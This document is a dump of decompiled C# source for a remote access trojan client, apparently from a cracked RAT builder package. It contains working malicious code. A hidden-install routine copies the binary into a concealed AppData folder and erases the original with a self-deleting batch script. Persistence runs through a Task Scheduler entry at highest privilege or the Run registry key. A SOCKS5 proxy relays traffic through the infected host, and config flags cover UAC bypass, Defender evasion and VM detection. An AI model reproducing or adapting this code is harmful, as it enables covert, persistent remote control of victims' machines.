// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
using Stuff;
#nullable disable
public class ClientBridge : IClientBridge
{
private readonly SillyClient _client;
public string UID { get; private set; }
public ClientBridge(SillyClient client)
{
this._client = client;
this.Version = Config.Version;
this.Mutex = Config.Mutex;
this.Port = Config.pt;
this.Host = Config.ht;
this.Startup = Config.Startup;
this.Delay = Config.Delay;
this.ProcessCritical = Config.ProcessCritical;
this.HideFile = Config.HideFile;
this.Box = Config.Box;
this.BoxMsg = Config.BoxMsg;
this.BoxIcon = Config.BoxIcon;
this.UAC = Config.UAC;
this.Assist = Config.Assist;
this.OpenWebsite = Config.OpenWebsite;
this.Website = Config.Website;
this.VM = Config.VM;
this.Tag = Config.Tag;
this.BoxTit = Config.BoxTit;
this.HidProc = Config.HidProc;
this.UACBy = Config.UACBy;
this.Password = Config.Password;
this.Raw = Config.Raw;
this.Reconnect = Config.Reconnect;
this.Defender = Config.Defender;
}
public void Send(byte[] data) => this._client.Send(data);
public string Version { get; }
public string Mutex { get; }
public int Port { get; }
public string Host { get; }
public bool Startup { get; }
public int Delay { get; }
public bool ProcessCritical { get; }
public bool HideFile { get; }
public bool Box { get; }
public string BoxMsg { get; }
public string BoxIcon { get; }
public bool UAC { get; }
public bool Assist { get; }
public bool OpenWebsite { get; }
public string Website { get; }
public bool VM { get; }
public string Tag { get; }
public string BoxTit { get; }
public bool HidProc { get; }
public bool UACBy { get; }
public string Password { get; }
public string Raw { get; }
public int Reconnect { get; }
public bool Defender { get; }
}
+12
View File
@@ -0,0 +1,12 @@
// Decompiled with JetBrains decompiler
// Type: Client_ProcessedByFody
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
#nullable disable
internal class Client_ProcessedByFody
{
internal const string FodyVersion = "6.9.3.0";
internal const string Costura = "6.0.0";
}
+36
View File
@@ -0,0 +1,36 @@
// Decompiled with JetBrains decompiler
// Type: Config
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
using System;
#nullable disable
internal class Config
{
public static string Version = "v4.0.0";
public static string Mutex = "silly1";
public static int pt = Convert.ToInt32("silly3");
public static string ht = "silly2";
public static bool Startup = Convert.ToBoolean("silly4");
public static int Delay = Convert.ToInt32("silly5");
public static bool ProcessCritical = Convert.ToBoolean("silly6");
public static bool HideFile = Convert.ToBoolean("silly7");
public static bool Box = Convert.ToBoolean("silly8");
public static string BoxMsg = "silly9";
public static string BoxIcon = "silly10";
public static bool UAC = Convert.ToBoolean("silly11");
public static bool Assist = false;
public static bool OpenWebsite = Convert.ToBoolean("silly13");
public static string Website = "silly14";
public static bool VM = Convert.ToBoolean("silly15");
public static string Tag = "silly16";
public static string BoxTit = "silly17";
public static bool HidProc = Convert.ToBoolean("silly18");
public static bool UACBy = false;
public static string Password = "silly20";
public static string Raw = "silly21";
public static int Reconnect = Convert.ToInt32("silly22");
public static bool Defender = Convert.ToBoolean("silly23");
}
+209
View File
@@ -0,0 +1,209 @@
// Decompiled with JetBrains decompiler
// Type: Costura.AssemblyLoader
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
using System;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Threading;
#nullable disable
namespace Costura;
[CompilerGenerated]
internal static class AssemblyLoader
{
private static object nullCacheLock = new object();
private static Dictionary<string, bool> nullCache = new Dictionary<string, bool>();
private static Dictionary<string, string> assemblyNames = new Dictionary<string, string>();
private static Dictionary<string, string> symbolNames = new Dictionary<string, string>();
private static int isAttached;
private static string CultureToString(CultureInfo culture)
{
return culture == null ? string.Empty : culture.Name;
}
private static Assembly ReadExistingAssembly(AssemblyName name)
{
foreach (Assembly assembly in AppDomain.CurrentDomain.GetAssemblies())
{
AssemblyName name1 = assembly.GetName();
// ISSUE: reference to a compiler-generated method
// ISSUE: reference to a compiler-generated method
if (string.Equals(name1.Name, name.Name, StringComparison.InvariantCultureIgnoreCase) && string.Equals(AssemblyLoader.CultureToString(name1.CultureInfo), AssemblyLoader.CultureToString(name.CultureInfo), StringComparison.InvariantCultureIgnoreCase))
return assembly;
}
return (Assembly) null;
}
private static string GetAssemblyResourceName(AssemblyName requestedAssemblyName)
{
string lowerInvariant = requestedAssemblyName.Name.ToLowerInvariant();
if (requestedAssemblyName.CultureInfo != null && !string.IsNullOrEmpty(requestedAssemblyName.CultureInfo.Name))
{
// ISSUE: reference to a compiler-generated method
lowerInvariant = $"{AssemblyLoader.CultureToString(requestedAssemblyName.CultureInfo)}.{lowerInvariant}".ToLowerInvariant();
}
return lowerInvariant;
}
private static void CopyTo(Stream source, Stream destination)
{
byte[] buffer = new byte[81920 /*0x014000*/];
int count;
while ((count = source.Read(buffer, 0, buffer.Length)) != 0)
destination.Write(buffer, 0, count);
}
private static Stream LoadStream(string fullName)
{
Assembly executingAssembly = Assembly.GetExecutingAssembly();
if (!fullName.EndsWith(".compressed"))
return executingAssembly.GetManifestResourceStream(fullName);
using (Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(fullName))
{
using (DeflateStream source = new DeflateStream(manifestResourceStream, CompressionMode.Decompress))
{
MemoryStream destination = new MemoryStream();
// ISSUE: reference to a compiler-generated method
AssemblyLoader.CopyTo((Stream) source, (Stream) destination);
destination.Position = 0L;
return (Stream) destination;
}
}
}
private static Stream LoadStream(Dictionary<string, string> resourceNames, string name)
{
string fullName;
// ISSUE: reference to a compiler-generated method
return resourceNames.TryGetValue(name, out fullName) ? AssemblyLoader.LoadStream(fullName) : (Stream) null;
}
private static byte[] ReadStream(Stream stream)
{
byte[] buffer = new byte[stream.Length];
stream.Read(buffer, 0, buffer.Length);
return buffer;
}
private static Assembly ReadFromEmbeddedResources(
Dictionary<string, string> assemblyNames,
Dictionary<string, string> symbolNames,
AssemblyName requestedAssemblyName)
{
// ISSUE: reference to a compiler-generated method
string assemblyResourceName = AssemblyLoader.GetAssemblyResourceName(requestedAssemblyName);
byte[] rawAssembly;
// ISSUE: reference to a compiler-generated method
using (Stream stream = AssemblyLoader.LoadStream(assemblyNames, assemblyResourceName))
{
if (stream == null)
return (Assembly) null;
// ISSUE: reference to a compiler-generated method
rawAssembly = AssemblyLoader.ReadStream(stream);
}
// ISSUE: reference to a compiler-generated method
using (Stream stream = AssemblyLoader.LoadStream(symbolNames, assemblyResourceName))
{
if (stream != null)
{
// ISSUE: reference to a compiler-generated method
byte[] rawSymbolStore = AssemblyLoader.ReadStream(stream);
return Assembly.Load(rawAssembly, rawSymbolStore);
}
}
return Assembly.Load(rawAssembly);
}
public static Assembly ResolveAssembly(object sender, ResolveEventArgs e)
{
string name = e.Name;
AssemblyName assemblyName = new AssemblyName(name);
// ISSUE: reference to a compiler-generated field
lock (AssemblyLoader.nullCacheLock)
{
// ISSUE: reference to a compiler-generated field
if (AssemblyLoader.nullCache.ContainsKey(name))
return (Assembly) null;
}
// ISSUE: reference to a compiler-generated method
Assembly assembly1 = AssemblyLoader.ReadExistingAssembly(assemblyName);
if ((object) assembly1 != null)
return assembly1;
// ISSUE: reference to a compiler-generated field
// ISSUE: reference to a compiler-generated field
// ISSUE: reference to a compiler-generated method
Assembly assembly2 = AssemblyLoader.ReadFromEmbeddedResources(AssemblyLoader.assemblyNames, AssemblyLoader.symbolNames, assemblyName);
if ((object) assembly2 == null)
{
// ISSUE: reference to a compiler-generated field
lock (AssemblyLoader.nullCacheLock)
{
// ISSUE: reference to a compiler-generated field
AssemblyLoader.nullCache[name] = true;
}
if ((assemblyName.Flags & AssemblyNameFlags.Retargetable) != AssemblyNameFlags.None)
assembly2 = Assembly.Load(assemblyName);
}
return assembly2;
}
static AssemblyLoader()
{
// ISSUE: reference to a compiler-generated field
AssemblyLoader.assemblyNames.Add("costura", "costura.costura.dll.compressed");
// ISSUE: reference to a compiler-generated field
AssemblyLoader.symbolNames.Add("costura", "costura.costura.pdb.compressed");
// ISSUE: reference to a compiler-generated field
AssemblyLoader.assemblyNames.Add("messagepacklib", "costura.messagepacklib.dll.compressed");
// ISSUE: reference to a compiler-generated field
AssemblyLoader.assemblyNames.Add("system.buffers", "costura.system.buffers.dll.compressed");
}
public static void Attach(bool subscribe)
{
// ISSUE: reference to a compiler-generated field
if (Interlocked.Exchange(ref AssemblyLoader.isAttached, 1) == 1 || !subscribe)
return;
AppDomain.CurrentDomain.AssemblyResolve += (ResolveEventHandler) ((sender, e) =>
{
string name = e.Name;
AssemblyName assemblyName = new AssemblyName(name);
// ISSUE: reference to a compiler-generated field
lock (AssemblyLoader.nullCacheLock)
{
// ISSUE: reference to a compiler-generated field
if (AssemblyLoader.nullCache.ContainsKey(name))
return (Assembly) null;
}
// ISSUE: reference to a compiler-generated method
Assembly assembly1 = AssemblyLoader.ReadExistingAssembly(assemblyName);
if ((object) assembly1 != null)
return assembly1;
// ISSUE: reference to a compiler-generated field
// ISSUE: reference to a compiler-generated field
// ISSUE: reference to a compiler-generated method
Assembly assembly2 = AssemblyLoader.ReadFromEmbeddedResources(AssemblyLoader.assemblyNames, AssemblyLoader.symbolNames, assemblyName);
if ((object) assembly2 == null)
{
// ISSUE: reference to a compiler-generated field
lock (AssemblyLoader.nullCacheLock)
{
// ISSUE: reference to a compiler-generated field
AssemblyLoader.nullCache[name] = true;
}
if ((assemblyName.Flags & AssemblyNameFlags.Retargetable) != AssemblyNameFlags.None)
assembly2 = Assembly.Load(assemblyName);
}
return assembly2;
});
}
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large Load Diff
+120
View File
@@ -0,0 +1,120 @@
// Decompiled with JetBrains decompiler
// Type: HideClient
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
using Stuff;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Threading;
#nullable disable
public static class HideClient
{
public static void Execute()
{
string str1 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "PlatformRuntime");
string location = Assembly.GetExecutingAssembly().Location;
string str2 = Path.Combine(str1, Path.GetFileName(location));
try
{
if (Path.GetDirectoryName(location).Equals(str1, StringComparison.OrdinalIgnoreCase))
return;
if (!Directory.Exists(str1))
{
Directory.CreateDirectory(str1);
new DirectoryInfo(str1).Attributes |= FileAttributes.Hidden | FileAttributes.System;
}
if (!File.Exists(str2) || !HideClient.FilesAreEqual(location, str2))
{
File.Copy(location, str2, true);
File.SetAttributes(str2, FileAttributes.Hidden | FileAttributes.System);
}
string str3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Temp");
if (!Directory.Exists(str3))
Directory.CreateDirectory(str3);
string path = Path.Combine(str3, $"cleanup_{Helpers.Random()}.bat");
using (StreamWriter streamWriter = new StreamWriter(path))
{
streamWriter.WriteLine("@echo off");
streamWriter.WriteLine("chcp 65001 > nul");
streamWriter.WriteLine("timeout /t 2 /nobreak > nul");
streamWriter.WriteLine(":RETRY");
streamWriter.WriteLine($"if exist \"{location}\" (");
streamWriter.WriteLine($" del /f /q \"{location}\" 2>nul");
streamWriter.WriteLine($" if exist \"{location}\" (");
streamWriter.WriteLine(" timeout /t 1 /nobreak > nul");
streamWriter.WriteLine(" goto RETRY");
streamWriter.WriteLine(" )");
streamWriter.WriteLine(")");
streamWriter.WriteLine($"start \"\" \"{str2}\"");
streamWriter.WriteLine("timeout /t 1 /nobreak > nul");
streamWriter.WriteLine($"del /f /q \"{path}\" 2>nul");
streamWriter.WriteLine("exit");
}
Process.Start(new ProcessStartInfo()
{
FileName = path,
CreateNoWindow = true,
UseShellExecute = false,
WindowStyle = ProcessWindowStyle.Hidden
});
Thread.Sleep(500);
Environment.Exit(0);
}
catch (UnauthorizedAccessException ex)
{
HideClient.TryAlternativeLocation();
}
catch (Exception ex)
{
}
}
private static bool FilesAreEqual(string file1, string file2)
{
try
{
FileInfo fileInfo1 = new FileInfo(file1);
FileInfo fileInfo2 = new FileInfo(file2);
return fileInfo1.Length == fileInfo2.Length && fileInfo1.LastWriteTimeUtc == fileInfo2.LastWriteTimeUtc;
}
catch
{
return false;
}
}
private static void TryAlternativeLocation()
{
try
{
string str1 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "PlatformRuntime");
string location = Assembly.GetExecutingAssembly().Location;
string str2 = Path.Combine(str1, Path.GetFileName(location));
if (!Directory.Exists(str1))
{
Directory.CreateDirectory(str1);
new DirectoryInfo(str1).Attributes |= FileAttributes.Hidden;
}
if (File.Exists(str2))
return;
File.Copy(location, str2, true);
File.SetAttributes(str2, FileAttributes.Hidden);
Process.Start(new ProcessStartInfo()
{
FileName = str2,
UseShellExecute = false,
CreateNoWindow = true
});
Thread.Sleep(500);
Environment.Exit(0);
}
catch
{
}
}
}
+28
View File
@@ -0,0 +1,28 @@
// Decompiled with JetBrains decompiler
// Type: MutexControl
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
using System.Threading;
#nullable disable
internal class MutexControl
{
public static Mutex meow;
public static bool CreateMutex()
{
bool createdNew;
MutexControl.meow = new Mutex(false, Config.Mutex, out createdNew);
return createdNew;
}
public static void CloseMutex()
{
if (MutexControl.meow == null)
return;
MutexControl.meow.Close();
MutexControl.meow = (Mutex) null;
}
}
+156
View File
@@ -0,0 +1,156 @@
// Decompiled with JetBrains decompiler
// Type: Program
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
using Microsoft.Win32;
using Stuff;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Security.Principal;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
#nullable disable
internal static class Program
{
public static SillyClient client;
[STAThread]
private static void Main(string[] args)
{
if (args.Length >= 2)
{
Config.Mutex = Helpers.Random(30);
Config.ht = args[0];
Config.pt = Convert.ToInt32(args[1]);
}
Application.ThreadException += (ThreadExceptionEventHandler) ((s, e) => Program.LogError("UI Thread", e.Exception));
AppDomain.CurrentDomain.UnhandledException += (UnhandledExceptionEventHandler) ((s, e) => Program.LogError("Unhandled", e.ExceptionObject as Exception));
TaskScheduler.UnobservedTaskException += (EventHandler<UnobservedTaskExceptionEventArgs>) ((s, e) =>
{
Program.LogError("Task", (Exception) e.Exception);
e.SetObserved();
});
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Thread.Sleep(Config.Delay * 1000);
if (Config.HideFile)
{
try
{
HideClient.Execute();
}
catch (Exception ex)
{
Program.LogError("HideFile", ex);
}
}
if (!MutexControl.CreateMutex())
Environment.Exit(0);
try
{
Program.client = new SillyClient();
}
catch (Exception ex)
{
Program.LogError("Client Init", ex);
return;
}
Task.Run((Action) (() =>
{
try
{
Program.client.Connect();
}
catch (Exception ex)
{
Program.LogError("Connect", ex);
}
}));
Task.Run((Func<Task>) (async () =>
{
try
{
await Task.Delay(3000);
if (args.Length != 0)
{
Pack pack = new Pack();
pack.SetString("Packet", "PluginMessage");
pack.SetString("Message", "This client was shared to you from someone");
Program.client.Send(pack.Pacc());
}
if (!Config.Startup)
return;
string location = Assembly.GetExecutingAssembly().Location;
Program.AddToStartup(Path.GetFileNameWithoutExtension(location), location);
}
catch (Exception ex)
{
Program.LogError("StartupTask", ex);
}
}));
Application.Run(new ApplicationContext());
}
private static void LogError(string context, Exception ex)
{
Console.WriteLine(context + ex.Message);
}
public static bool IsAdmin()
{
using (WindowsIdentity current = WindowsIdentity.GetCurrent())
return new WindowsPrincipal(current).IsInRole(WindowsBuiltInRole.Administrator);
}
public static void AddToStartup(string name, string path)
{
try
{
if (string.IsNullOrWhiteSpace(name) || string.IsNullOrWhiteSpace(path))
return;
path = Path.GetFullPath(path);
if (Program.IsAdmin())
{
using (Process process = Process.Start(new ProcessStartInfo("schtasks")
{
Arguments = $"/create /tn \"{name}\" /sc ONLOGON /tr \"\\\"{path}\\\"\" /rl HIGHEST /f",
UseShellExecute = false,
CreateNoWindow = true,
RedirectStandardError = true,
RedirectStandardOutput = true
}))
{
process.WaitForExit();
if (process.ExitCode == 0)
{
Pack pack = new Pack();
pack.SetString("Packet", "Success");
pack.SetString("Message", "Startup task created successfully (Task Scheduler)");
Program.client?.Send(pack.Pacc());
return;
}
}
}
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true))
{
if (registryKey == null)
return;
registryKey.SetValue(name, (object) $"\"{path}\"", RegistryValueKind.String);
Pack pack = new Pack();
pack.SetString("Packet", "Success");
pack.SetString("Message", "Startup registry key added successfully");
Program.client?.Send(pack.Pacc());
}
}
catch (Exception ex)
{
Program.LogError(nameof (AddToStartup), ex);
}
}
}
+32
View File
@@ -0,0 +1,32 @@
// Decompiled with JetBrains decompiler
// Type: ShareClient
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
using System;
using System.Diagnostics;
using System.IO;
#nullable disable
public static class ShareClient
{
public static void Clone(string host, string port)
{
try
{
string fileName = Process.GetCurrentProcess().MainModule.FileName;
string destFileName = Path.Combine(Path.GetDirectoryName(fileName), Guid.NewGuid().ToString() + ".exe");
File.Copy(fileName, destFileName, true);
Process.Start(new ProcessStartInfo()
{
FileName = destFileName,
Arguments = $"{host} {port}",
UseShellExecute = false
});
}
catch
{
}
}
}
+34
View File
@@ -0,0 +1,34 @@
// Decompiled with JetBrains decompiler
// Type: SillyClient
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
using Client.Raton;
#nullable disable
public class SillyClient
{
internal Supervisor Supervisor { get; }
public HandlePacket HandlePacket { get; }
public ClientState State => this.Supervisor.State;
public SillyClient()
{
this.HandlePacket = new HandlePacket(this);
this.Supervisor = new Supervisor(this);
}
public void Connect() => this.Supervisor.Start();
public void Disconnect() => this.Supervisor.Stop();
public void Send(byte[] data) => this.Supervisor.Send(data);
public bool IsConnected()
{
return this.State == ClientState.Connected || this.State == ClientState.Ready;
}
}
+81
View File
@@ -0,0 +1,81 @@
// Decompiled with JetBrains decompiler
// Type: Socks5Server
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;
#nullable disable
public class Socks5Server
{
private TcpListener listener;
private bool running;
public async Task Start(int port)
{
this.listener = new TcpListener(IPAddress.Any, port);
this.listener.Start();
this.running = true;
while (this.running)
this.HandleClient(await this.listener.AcceptTcpClientAsync());
}
public void Stop()
{
this.running = false;
this.listener?.Stop();
}
private async Task HandleClient(TcpClient client)
{
NetworkStream stream = client.GetStream();
try
{
byte[] hello = new byte[2];
int num1 = await stream.ReadAsync(hello, 0, hello.Length);
byte[] buffer1 = new byte[(int) hello[1]];
int num2 = await stream.ReadAsync(buffer1, 0, buffer1.Length);
byte[] buffer2 = new byte[2]{ (byte) 5, (byte) 0 };
await stream.WriteAsync(buffer2, 0, buffer2.Length);
byte[] header = new byte[4];
int num3 = await stream.ReadAsync(header, 0, header.Length);
string host = "";
if (header[3] == (byte) 3)
{
byte[] hostBytes = new byte[stream.ReadByte()];
int num4 = await stream.ReadAsync(hostBytes, 0, hostBytes.Length);
host = Encoding.ASCII.GetString(hostBytes);
hostBytes = (byte[]) null;
}
byte[] portBytes = new byte[2];
int num5 = await stream.ReadAsync(portBytes, 0, portBytes.Length);
int port = (int) portBytes[0] << 8 | (int) portBytes[1];
TcpClient remote = new TcpClient();
await remote.ConnectAsync(host, port);
byte[] numArray = new byte[10];
numArray[0] = (byte) 5;
numArray[3] = (byte) 1;
byte[] buffer3 = numArray;
await stream.WriteAsync(buffer3, 0, buffer3.Length);
NetworkStream stream1 = remote.GetStream();
stream1.CopyToAsync((Stream) stream);
stream.CopyToAsync((Stream) stream1);
hello = (byte[]) null;
header = (byte[]) null;
host = (string) null;
portBytes = (byte[]) null;
remote = (TcpClient) null;
stream = (NetworkStream) null;
}
catch
{
client.Close();
stream = (NetworkStream) null;
}
}
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
+4
View File
@@ -0,0 +1,4 @@
costura.costura.dll.compressed|6.0.0.0|Costura, Version=6.0.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d|Costura.dll|028E9832F421F11F9497C610F1734E0F3D868037|5120
costura.costura.pdb.compressed|||Costura.pdb|806F4C19B2D7FD9E3B836269EC07647019A29E95|7960
costura.messagepacklib.dll.compressed|1.0.0.0|MessagePackLib, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null|MessagePackLib.dll|67A52A50875B6072355D725CD38DD69A592F6480|10240
costura.system.buffers.dll.compressed|4.0.3.0|System.Buffers, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.Buffers.dll|2F410A0396BC148ED533AD49B6415FB58DD4D641|20856
@@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")]
@@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")]
@@ -0,0 +1 @@
94ea750660fedbfcfd2429674cf0119f84e3e46b3b7ce120f35d0710d87142cf
@@ -0,0 +1,10 @@
C:\Users\user\Desktop\raton\Client\obj\Release\Client.csproj.AssemblyReference.cache
C:\Users\user\Desktop\raton\Client\obj\Release\Client.Properties.Resources.resources
C:\Users\user\Desktop\raton\Client\obj\Release\Client.csproj.GenerateResource.cache
C:\Users\user\Desktop\raton\Client\obj\Release\Client.csproj.CoreCompileInputs.cache
C:\Users\user\Desktop\raton\Client\bin\Release\Client.exe
C:\Users\user\Desktop\raton\Client\bin\Release\Client.pdb
C:\Users\user\Desktop\raton\Client\bin\Release\MessagePackLib.dll
C:\Users\user\Desktop\raton\Client\obj\Release\Client.csproj.Up2Date
C:\Users\user\Desktop\raton\Client\obj\Release\Client.exe
C:\Users\user\Desktop\raton\Client\obj\Release\Client.pdb
Binary file not shown.
Binary file not shown.